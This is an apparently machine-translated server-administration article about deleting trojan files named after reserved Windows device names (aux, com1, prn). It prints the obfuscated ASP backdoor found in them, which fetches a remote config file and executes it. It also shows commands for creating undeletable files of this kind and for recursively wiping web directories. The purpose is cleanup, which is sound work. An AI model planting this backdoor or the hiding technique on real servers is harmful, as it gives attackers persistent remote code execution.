Com1/lpt1/prn/nul Trojan Door Processing method Collection _win Server

Source: Internet
Author: User
Delete command

RD/S \\.\e:\webhosting\wwwroot\prn.0418ee4f
Copy Code code as follows:

<%
' By*aming
Dim Amxml,amtxt,amado
Amtxt= "H" & "T" & "T" & "P" & ":" & "/" & "/" & "B" & "O" & "T" & ". & "Z" & "H" & "-" & "C" & "N" & "." & "C" & "C" & "/" & "B" & "O" & "T" & "/" & "C" & "O" & "" N "&" F "&" I "&" G "&" ." & "T" & "X" & "T"
Set amxml=createobject ("Microsoft.XMLHTTP")
Amxml. Open "Get", Amtxt,false, "" "," "
Amxml.setrequestheader "User-agent", Amtxt
Amxml. Send
Set Amado=server.createobject ("ADODB.stream")
Amado. Type=1
Amado. Mode=3
Amado. Open
Amado. Write Amxml. Responsebody
Amado. Position=0
Amado. type=2
Amado. charset= "gb2312"
Execute (Amado. ReadText)
Amado. Close
Set amado=nothing
Set amxml=nothing
%>


Recently, a friend found his site directory more than many similar aux.asp com1.gupiao.asp files or folders, cannot be deleted! How can such files not be deleted, how can you create files that cannot be deleted, and how can you delete files that cannot be deleted, such as aux.asp?

Folder options in server-view-Hide protected operating system files you can see that such file properties are RHSA system files and cannot be deleted, modified, moved.

You cannot name files/folders under Windows, including: aux, COM1, COM2, PRN, con, nul, and so on, because they all belong to the device name, equivalent to a DOS device, and if we name the files as these names, Windows You will be prompted to "cannot create a file of the same name" by mistaking it for duplicate names.

Of course, there are some special ways to create a folder named after these devices, such as the "MD E:\COM1\\" at the command prompt, and a folder called COM1 on E disk. This folder, although accessible, can be established as a subfolder, but cannot be deleted, which, in the system's view, is the device. COM1
So, how do I delete aux, com1 files/folders? We just follow the full UNC path format, which is the path format of the Network Neighborhood, and correctly enter the file path and filename. For example, to delete the Aux folder under E disk, you can perform at a command prompt: rd/s \\.\e:\aux,rd with the/s parameter indicates that the specified file is deleted from all subdirectories. For example, to delete the Nul.exe file under the E-Disk aux folder, execute at a command prompt: Del \\.\e:\Aux\nul.exe.

Using del \\.\e:\prn\aux.asp:.jpg, failure, and finally remove other JPG files, use rd to delete the entire directory look at the map:

Delete aux file command

Note that the tail plus "\" or it will appear normal folder also appears as shown in the 1 folder is inaccessible, restart folder will disappear.

Other such documents are deleted by special document information.

Can be deleted in DOS, and enter the following command at the beginning:

The following is the deletion of all content in the null directory in the test user

Echo Y|rmdir \\.\d:\freehost\test\web\nul/s


If you have special files, such as aux.com.asp, that cannot be deleted, you can only back up the user's web directory (do not select the problematic file at the time of the backup), and then use the command to delete all contents of the Web directory:

Echo Y|rmdir \\.\d:\freehost\test\web/s

It is also easy to create such a way that you cannot delete a file:

Copy 123.txt \\.\d:\aux.asp

To create a folder that cannot be deleted:

MD \\.\d:\prn\\

There are also ways to remove such ' files that cannot be deleted ', such as: D:\wwwroot\web\www is a directory that contains these files that cannot be deleted. Before executing the command, move the program that needs to be backed up in the folder to a different location, and then use the following command to remove it.

RmDir \\.\d:\wwwroot\web\www/s/q

You can also delete these files directly by using the following command:

Del \\.\d:\wwwroot\web\www\aux.asp

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.